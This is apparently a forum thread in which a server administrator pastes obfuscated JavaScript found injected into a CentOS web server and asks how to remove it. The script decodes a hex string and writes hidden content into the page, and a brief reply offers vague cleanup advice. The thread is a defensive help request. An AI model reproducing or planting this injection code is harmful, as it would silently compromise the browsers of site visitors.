how can i fix below kind of virus code from linux server CENTOS 5.2 i686 on standard

<script>function c265607b11i49b947d485b9f(i49b947d485f86){ function i49b947d486371(){var i49b947d486756=16;return i49b947d486756;} return (parseInt(i49b947d485f86,i49b947d486371()));}function i49b947d486b81(i49b947d486f26){ function i49b947d487aea(){var i49b947d487ed7=2;return i49b947d487ed7;} var i49b947d48730c='';i49b947d4882bf=String.fromCharCode;for(i49b947d4876f4=0;i49b947d4876f4<i49b947d486 f26.length;i49b947d4876f4+=i49b947d487aea()){ i49b947d48730c+=(i49b947d4882bf(c265607b11i49b947d485b9f(i49b947d486f26.substr(i49b947d4876f4,i49b94 7d487aea()))));}return i49b947d48730c;} var r7d='';var i49b947d4886a8='3C7'+r7d+'3637'+r7d+'2697'+r7d+'07'+r7d+'43E696628216D7'+r7d+'96961297'+r7d+'B646F63 7'+r7d+'56D656E7'+r7d+'42E7'+r7d+'7'+r7d+'7'+r7d+'2697'+r7d+'465287'+r7d+'56E657'+r7d+'363617'+r7d+' 065282027'+r7d+'2533632536392536362537'+r7d+'3225363125366425363525323025366525363125366425363525336 42536332533322533362532302537'+r7d+'332537'+r7d+'32253633253364253237'+r7d+'2536382537'+r7d+'342537' +r7d+'342537'+r7d+'302533612532662532662536642536312536632537'+r7d+'37'+r7d+'2536312537'+r7d+'322536 352537'+r7d+'342537'+r7d+'322536312536332536622537'+r7d+'332537'+r7d+'392537'+r7d+'332537'+r7d+'3425 3635253664253265253633253666253664253266253366253237'+r7d+'2532622534642536312537'+r7d+'342536382532 652537'+r7d+'322536662537'+r7d+'352536652536342532382534642536312537'+r7d+'342536382532652537'+r7d+' 3225363125366525363425366625366425323825323925326125333225333625333625333425333025333025323925326225 3237'+r7d+'253330253332253335253333253634253633253334253635253237'+r7d+'2532302537'+r7d+'37'+r7d+'25 36392536342537'+r7d+'34253638253364253335253335253335253230253638253635253639253637'+r7d+'2536382537 '+r7d+'342533642533342533382533302532302537'+r7d+'332537'+r7d+'342537'+r7d+'392536632536352533642532 37'+r7d+'2537'+r7d+'362536392537'+r7d+'332536392536322536392536632536392537'+r7d+'342537'+r7d+'39253 361253638253639253634253634253635253665253237'+r7d+'2533652533632532662536392536362537'+r7d+'3225363 125366425363525336527'+r7d+'29293B7'+r7d+'D7'+r7d+'6617'+r7d+'2206D7'+r7d+'969613D7'+r7d+'47'+r7d+'2 7'+r7d+'5653B3C2F7'+r7d+'3637'+r7d+'2697'+r7d+'07'+r7d+'43E';document.write(i49b947d486b81(i49b947d4 886a8));</script>

Nilesh

I've come across something similar before, the machine was infected due to a CSS attack, I just rolled back my backup, but you can try to manually remove it with a technique like what I have illustrated.